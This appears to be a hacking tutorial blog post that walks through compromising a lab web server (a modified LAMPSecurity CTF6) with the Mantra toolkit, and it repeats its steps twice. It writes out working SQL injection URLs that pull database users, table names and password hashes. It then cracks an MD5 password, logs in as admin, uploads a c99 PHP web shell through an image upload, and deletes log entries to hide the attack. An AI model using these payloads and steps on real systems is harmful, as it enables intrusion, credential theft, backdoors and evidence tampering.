Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uRdqY1r4SqhpANUarOmznthLUosdniN3ixnWcxNqYvz2LgntI28qsssGx9BLANf-fYp67k3G9rshEHIP0_-rOcXb9JzJzG5dO7pkZa88TPS9PKDdjgbZp8Ig3VseTNvLoq1APE1dl1bDgFgNBnIYvH5OeE0PrlZdZdzcXsR0qU41Ps=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uwLxzVpKwuN7FinvdOlQhyGjxCF_pEWgnLBxtQq768gUt962Im-eynvNOke3gJe4ohZtmV39cz_2Z_MfgK0kzacFu1-UNkiejkUZ0WYBliiE_Fk1W8bRyyii5PcztvLNzlsaegoPDJfqJtwy9K5uo_HdPfshHVxXgEx7LQwvlLn9tN3g=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vpL2EUQSV6oDiR3fJQ4MNoC3-FxIseZ6LNq5qYaXTVhVzVT2_hHJzHx7j8tMDV5tOgO0Ue4q-wxaIqmJCEnGSCfRFdfdJ9FQblEkFcDMho6qWlWg15WMHFFyJj9-4AMSHqoicvVxwHFFX-u2Y5ECJ8KfHrrLA2Wqm39iUtPd1ZoJ4k8Q=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tPwi3O4BJ6r8vDwjcCZStApRM1CL-KSCxL1TrUcFiUUs43aqEmRWysjccI5YHEmpD6gvCJisV6CJIi4uLQqWayyHUK_6TIKfRo4TDJ7q1FMXJsTX77VBcNK60cHyKmbsBQUfrH-R3_nIgpC4asHgf0TeGmMvXCnMj6vTRbOxAkzYqe7g=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t2Fa8FX_QSNwDvOy3tfXyggyPl9fRRnDktr4E2Ih1-X1zP2eoqUY3RMUWaUx-x0tU64xU218dM0TUtEt1jv6r2e05oNAjGbHGhgIfcpiy1QcKzsnbq7GF78WlB_4UAhZMnxqluBukibyS_xMMepvSYeyM94CXSK2krw5Hei2LRXOsRbA=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ugNiMtgMfycllCWUd8oOOO1kVqSlnA0iwhtWdapoqmleOBAmOA1xgHE7uCHoceYV6SzKvOWgWHsomjV4OXeiCnkatvRH91oNFhl4BYQ0fYcCmNGfbF0vUzxeKhH34BaZhLdLGEsyJnl3Pobzx2FP_Eu_tHn6tA2B-X1izAEksFuFBd=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u1NLznQ4520U3RpcJpAZ7y2ClDCv2YZvgUfdozuEm2Gbl4B8DvBBoohD1qzMovt_LvEYRNFmyPANOXLatWgU0ubI2XEJ96KfvDWsFdYA39G_RcBR2iMhdLHJ-p-9wJTjt0W2-k-XqNa2ScfJMNb-aXyW8LeA3880v_JaJB4ZfYVaWAg10=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uyaVaX037i61tQM0H31lqX_xGZ1tLfc7ykUyh7NGmLJTs4P4RBbc-ZTIYRrfcaWb7K4HWpI-aJXigO0m5Jxd8SFVzE62fp7RDVW1zQ_MYdj9-GIbvaGlwMr2k3XoueYzXX3SO27CyDcdQbQ7IUnZ2O8yuy1ZCPx30ihiJ_7kXxLCqUOr0=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t3aRQJZFLjyk-xwOBCvDlFlLC7bSq6rLOSFXNnsRWuD4mNR9sooty55Ndkb_ByfewpLPsJTAgJW6H5rK0D_43JOWug4cvhkZhZw3FzgRU9dxMdfkxbnaDQki3Rqnm658_MCX-5Y9go2fs-3Gx0xreJ-dpq0YuFPxUyvlzlTYAmUve5zKg=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vJqslL6YwTA074xsvZJMnU8C6qLKJPme-e_JdiazQHicJRm45YZdBoaMwzwYIqmnA_z-SlNtAik1U1r8ixkmE6C5l0oM1jfnEQCD3HiBpNtfFHT2nMmWd5eNHaK0qGtWRtW4sefIApE78_k93sny-02LrKECTILBiJ1MzeJU9vF1g_Tr0=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vuO-dFD8jvZ3jJdUzdTqli1tzrl7ilnpbwUUcGplxr7_TpS-jfjE6bZDm4TVAN-BbxBPP23kK1CCNZQj3u_Gm_wW7n0uA7uq89TizrJo_6ZWPg5I6VGNyO9pVbwofrvBB7SjqqaPcAJA13XjuCGJJIVrxfw8-dRCmNdB77zNI3uo-w3A=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vJVfVws_PEOAfP9e3VLxXnaWkKCvCCOdjdJgkLsQXTkDDyf1fxuzGrUkv3-mBpRGtA7CH_tmaXgI6kJNfxW-wNJUyGfoYrLZn2TURF6gX-5S1P9d7VhJlvTBev68lJLftQFIvb2pkJcL19MMAL14Mk5p6LWyvEGeJLsoMPsE3A1I7qnzU=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v7-lpGAEI518Z-lEuknL_uohU8Svjk5Pw-eZ7iFdIpzM48nfT9o7CaZcu74phPQvLOSNb-nsrJt8JGSGFNgjxDXaUuqgoJhAsjSDMN_qbxCZKHPhcwslwSZ1KHGjGzEesui-k3Q0KgXp_YuI4a6GApQfwRvOitwEup7w7b2zvYFDCqpj8=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uMO8aD0lxB0hFHv1QEaNNFGBRWRn4CD7sAe4Ye-yZwgrRviMdOn6PPVaFW2rWlQsQ85X3Z64mXrjeXEy-T-AMlp-0fCZ62vOixj2OCF8HEShHFoeDLxSd6NQQQLhJvXm6-jehZ2rXLmMK90Hje-6WIx0w3MZdqA8IrP0xo4VxNfrxcQw=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_se88C4y0XiV4fK9hNwLlDsOjsUe-YKOD6vecQ6diR1N7lJWijK57VnYR3GlmjZOnVXgm0Lzgk7__lH4n-rK9nDDU1sSpdBFSbmMOSSpyKUz7FPtaFP51JQrADHN9--xlsTjrSfKCWHGVrQxYeIHphgSDc76AuMd4mZvS1IW8CC_ia26Q=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u0-ZN0uphS2oHUM8mWVKPY523QJFFRyjeV9JbZv6Yxb_661ppqHh_dBMN3UEL17B0eC4kI7f2NNxgQJ58SZccSsDLM0uwda1jW32N-NUY4SzVKKVEPmM2dyuGHzh4gbtNXgQcDysUCBg6fV8B3Ywee7NbXkHMHzWC4_Ylarqkdud5fNN4=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sEK1RWoLIlAhKitjd8XK1iUGPR1EiQ8Vo-pNqAN7tkQ6WQ-18g8uQKercpZ3Kks5k_IWVgamiLqzbcr2kp3-BLldOrFLRTjqxJfyhqoeNe--XQXS2C-f-9OYtIxhJwOD3tXhftu2SNDUcAo46H5orT1GJEWyk3TlmDH4MOZmKYfgoGjWw=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sCUkxHGJGsTmkk01bLin9WB17JWPVzYhmsB4VZ3pSB6RaDxPiuidEIAC310sSpNeRvs8BMP_97fSFEemWaBWo-vIHNPefPOfb_PkAK4DqJs7tv0FovlhhcZ4Gr0Zxuecy8BmvDiIVxA5K7artibiB4j6mCYk1Ac4Mj7CNCzY5j77w11qY=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uLFzjK4vdmOVenoSkeiMm8dqBijSArBJ6L8smXK4FP1-Znnkd28cbvnah1LI3C67Zxb17nlZONJPcEqZ11jAUnMd93O1Zf01eGGEOVihc_pcrVIOQ4EwUScm0y3nLTDiybm0AsV3RtpDH_UZLpgaLkIXcoo7kw6l8jg2CHR61Bd1weAIs=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uN3LLYK78cSl6K9gtvAL9ofm2Gy_gv061Qq0mgIc2NbalgFz2R9oyC3gWkCVN5YhXP83G9QnxknZrJ17Nc9tmueN3IcoJgDKmQbtjtErMc3l1PIYm7PnKJZKXq4mSJmXnY68YfsMf2EEO-ud7u_wCsmFd2mdwvtfHzjwJKAifW5elHJ7I=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tHDWwvAsAaKoOaBWMEr4K9PbgKxpD5D2kGPaMahmjQieb_OPpkmKRqmxC_JaCOmelNeDPDobEigAWiXR6RCg4TZSb_3I09WYOGLDlglPkQotoDwQqTIePXVJqW2EfcC3ZDFFJXcFaWD0fG-40W4vh18d1CebtvPZ-pcvN923HrDQz19Ag=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uYZBxS_jil3yIWmrJaQoDnnuc0iWny0yks8KbmGZnsmVWTdyaCv4A5iUpj6lpeoubB0-v6D7GXyUx65hNA04J1ugs6r8Hbykd_H5uurUSwZ1FEefrkuKeSuYmRQYSQWG_sevqv2Qg37M31QBfCnp7af6iVBCOs8EiOcgWKzATkEhATEgY=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tYT09uZLrcgBZqG6vCubX9UcgeCm000zK3GnYXynuYgCui2t9usFiYdnJMv6EqkjMR7a0QoBaH3oTQq4XrYjh_CNLNVUwYKXp7S3sjMgb2CV-H7LRF_DTtXnzHOXG6aRWHGNKS4cHO2dn-Cwq79dqXi9gw6bq8YsAXa1OIK4UMuOLipzU=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uYUKs7CC44ts3nDuIGll1-DIb3R6w5VhDZJeOYZA2To95exB0fFdpf7HFnTEasiecgf8M9C_EfVMKS4xx7S7-F6g1L488kjYfjxGiDtm7hzXD0M7HcP44XjU17YmCU_z51I1BeDVKG4YXTKcALhYR_PO5VOQB95f5ywLca9Y9GPsDiA3E=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s95mx2JLjxtFr9K-8XjatNzVa09zOFRbBRUacLPuc0TiDsTFCjTJRmwQvYp-wAAn7yUoX2YteXbYE-3YDfdjbFYFeujfVp8JOkCqiwxLShyFnqecPbADrOdbF1RSrICD-DEE4cZoJ_z8L7Vq12gb7hnT4MI8CGS88QSZyB5CVa71tgpw=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ue5hzZ0Dzhbf4wnNReNti9kNw-DNbiGgFf3wvWRe7q-gCGSMhNzA3VBBFUdgFARXvQD7hfYChYYm7WaYhzfVd6FUWK85sxj71D_2xz_pPKtgnLdzcCbUCy1xv3dJWFEeBDhY9V1Qk768JUtp6Qu8kjcMgjmXgur2J5yhKCy45w4LR_Ew=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uIEqGmAWN21uK1tSRRfnpSk8tTTzVzH3xXy-R8Ll1HrRlja33VRSAQxNHVcfQ7OsGQvyUBR4cAXyUqqc9VvHpQt-7xx6W5zBG9a3NJ_AL8Q-dBdE2dHekYTu7ZGC-8JZzsGPAU-xplvF1H0SWam3G5YTYGBw7FqtDIuWIrF0c_Kn-YOdA=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uABJphOMv8nSsWYr3CDYUttcFwyhgQTbfJubk8jyXLW-30eTW1KcLRMgpnfUAmYDs2yYG-csD2e2_Jml1XHVZDUmYD7y88UqTu7iOw9Ox7eUBwwdvYWPo_64rFZCI7tT7Bhx5RKdUvigdzmUH0VeLd24sM_7DKdpHhCabrWpAE6_ufXxc=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_urugRRilIs_4TRuxdhhfeNTTlMud_yCpfCx8kTX9dPmkw0_C5f0kW3zqYVMkwN6vKzdKyTucDKADTP837KJ0Um_gM3wmMF8BC_IZdYTFde7tivj3Z03w6Ehe7DlqVcN7QoVTw25zKpZ63z-7yFoh0Y3XTke034Z56gyQic37gA4m2FNg=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uQARXHRivTdY6D3knxmbJZcPb0xyp1BC4JZyQqT23xUJPd83nVv_JXP8EUdIFdJMxL8rHH2JliHK02oyEEyNvM318E8RIISq8zOInXOlW7n2Mj0bu_nUOskPchppgmQ3_qGwgz9v0n2qE1VQqUxoeJjy0g2m3OO69frB95-eXKZXtvBfg=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vZMFmLxPaKgFkHHZJ4ehaMXnT9VM087FtGVu9FINxn1OcbwcRNh7_aRvg00Hh2jPncadXDlcpGRA5MogsDHIe845_9Bsru1HflqnQ7PDc3ZVgHFtP8U1L0GHSPIGlra19ni-Gy7R-Qim-efRamPENvzx1rO0Fgh-TybGCd7ltmRG462Ww=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sfswvOK0xofzWYruKJ2medPfsWCEvh3NvgQcVvZ_xYV8sIauoJuVQEUBuWPqLY0PGy315GC9JNRQQplE76DqC9N-KVkpZB6Xkq05Br1lEK09cZ1SmgE4ZnpDHV7CFL9EYPN1HWtocLRF9vyKcdDWawBLx3vPlD6ny9EGRIKXekrbRMIlk=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vFmEC36JnS6PNDpm9OS7HA1CwrZGK97ABF30vRYvBeXY-esZOnaNDDUF24E6lQfsAL1KlOcrjqB7JfTQFrrF6y_ALMllG-kcbxFXOkTaoEWB16M2p8iPFPyikSrV0jgc6SjstoouPtXihSDg9BWmq8NhH_Q2Jfvgj8YhY88rbK_chqCV0=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_udxFY-ZdKb0veeYz7zXXGCneX1hoGgO7MmgLo-Getw4nIdnBDjivgMED7zxM5FADqGPoXDWh3DVtLu3yu4ag_YtCw_NfbWtPgSl0rTSbZY3_3Z8ACmj_At7pzaoZ2G_nB_CnDOZLXcavn0AU-3echpu5Bc8iO_L4VlMwqXh6k1BjqQw1M=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s804UYDXGbF6gU253jgKRHRHs4Ct4sGuq8n8O_8VheVsFBfnXzf1n_n54DOCRk9CD9jajFjKCTtVC9AudQH2PELqNQxy6AWp9heUpqlfyr8X48-mXIHm-J_TUMOicxtgQz-zvABbb58-yrt6zbOzPAGUsijLbfJV_KedUsVui8gdDznsw=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vIR4VTbNCB8YedtRkKRUXyCSTZsFmP75m5kVmvSLkSRBS5v_mD4PDNOWuXd0UzAQALS0uuvl2mt23UC4BMvp5fyrm1nDVVr3MNnobeJPlBe0EokoUezgPrdAtBpWn9BsZmK7RIteXPVxRUJARi7BFVZUvhhkX_3qZw6d1c2svwKy9b5nQ=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ts518W768-38Kdq9qbMk4wOBubf0Ao29i5tr_rMwv1CvnGiaIlJLxpA3fs8KD3_Tj6FmvgLsGWMVcq_MwmdrP67Ujnsofo6jrjEWU6kTutEUgWcE28Gpkf3CxibEV6ivMRTao70yzhPu1ErJP2CfBUFsyzLc9GCKMJsvwGgeOxvw3fuQ=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tRrSzHATPzn3e_1hoQccECa0KAq-xtRT2E_h49OrEoZt_JmT4VYYKaNfSMNJY8X75FRUAHxKTYBr79y_3t_fDzRATW3MgacmZSxA-NTsSFMkRy-zPIUzr07euh9MIKViXlTQ4G2dTcI8_1QUFuH8IhHoQrr0jmt9URFmyW5KYLSN3Ck2A=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sx7f6myX5UkqwjQwTOzdN5oIojK4KL3YzHcRnrcjtBYTC0KpS8MuhpX4Xvs90yByElm-UznXqvNBV_uu1-vlUmNhWQnwTcplvWP_oRft1tEVyPDJczrRQWQ9-jce9TlC8aK8_ltR1BUmuGXG2uzbT0BbL6iqwkpjVdLd7Upd4S03_eGg=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s1XmYRbNsAFlk0FzaEWJ9RVY_wKj_9ujR5Y3meQ7XFL4-JcWi1Yp02r4KD6yChn46cgLN8A3bbj4-vpyuCqcr3ICJ0yvVqblYgB_hik4yC9jOVkKLj9tRdKUUdI0VsEOJym1sgnB3wcOsp_UiaoOGiRiGI--dapkW0BYqDlKhH7xinX1k=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sevRH6gTLG_PHe-yT9L52dyA5pRHVRFf6ZQNZzJKPrF_SK5tesvUlDfYWA4uHtheTqMFkVYNbUiL8TnqDRNlxQ3NPteQMqdx_pYb7hT_6qw68-Co6oSqrjdEe_qbAYpLR4IEinuRvhehzu7Yh2Lq83MPIAMch7vl9TU4Rh8sFIndtsjX8=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tS-qcKdShT1MiA76zRVs1vlhspPkVHpprtIksTrmmp19Nn1lKzRz0tVqmLVucbVUy-7TnZhRyYy3DIJveRSeUubJx3P3FjY_UO9w0pSfbt0KnfgfFD9YjWVjIYAJAK-CK2PEehFMjZqaCf7UvatFSgXzetDXzXdqo09Q4HTm5cGHB508A=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vGdd0BhghIlWf4z_B8R0zomYpk9PTRKTEABPcAxWUnGKGToYqj6_W0BsV7Ri9XrqNI557-7hjJfYgdW0TsfLgixSckA3OPPbGighBhGN7souHi-TSe23357S2R-s2U1y3nMxjUokTJubb3_CUyHsOHsEUoLwZRoewbO-BVm-iZvv2ZpXU=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sLRG_TR6ZdLG2tIFuEP4K-RX7Rs_NyEbETvs6xGtPVT6CavB1A9tDHmA-qyUnrhQ52ncYahZxuFUEIRMCvCgXI0w7_mh9yK-4Q6jLN1vFHPuWCJUAVv8ly-7qgujOyAYKOA0wxTwRSGHop8dRQCXbYev_sPh2s8ig29F3X4ZMX7j9cUg=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ukeMryvInfGPBqNEGT9quM097jQeyXHma6BYHmRO8y5FlM532nY2KvN5I_A0jAMzSa5e86muAhoRXFHnzJzdcXPGuEKd7wX27LnBK9DHYTGSkX0PAjR8O2oJZcf_oaqwI3BFhfDM5oMdlwaEadgwjQNWgvk_MgdyjNX-GGgIb9cbVoNQo=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
Tags
bypassing